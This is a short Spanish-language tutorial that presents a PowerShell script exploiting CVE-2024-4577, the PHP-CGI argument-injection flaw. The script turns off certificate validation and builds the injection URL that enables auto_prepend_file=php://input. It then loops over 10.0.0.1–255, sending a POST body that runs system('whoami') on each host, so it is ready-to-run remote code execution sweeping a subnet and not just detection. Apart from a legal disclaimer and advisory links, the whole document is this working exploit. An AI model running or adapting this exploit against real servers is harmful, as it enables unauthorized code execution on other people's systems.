
Usar PowsrShell para escanear CVE-2024-4577
Aviso:
Asegúrese de estar autorizado para realizar este tipo de pruebas de penetración en el entorno objetivo. El uso no autorizado de técnicas de ataque puede violar las leyes aplicables.
El programa es solo para fines educativos y de investigación, utilícelo dentro de los límites legales y éticos.
Si no comprende las consecuencias que las pruebas de penetración pueden conllevar, se recomienda contratar a un equipo de expertos en Red Team para realizar las pruebas.
Primero, configure la omisión de verificación de certificados web
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Payload de ataque principal
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
Empaquetado como función y enviado con Invoke-WebRequest integrado de PowerShell (ajuste TimeoutSec según sea necesario)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
Mediante un bucle, escanee desde 10.0.0.1 hasta 10.0.0.255
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577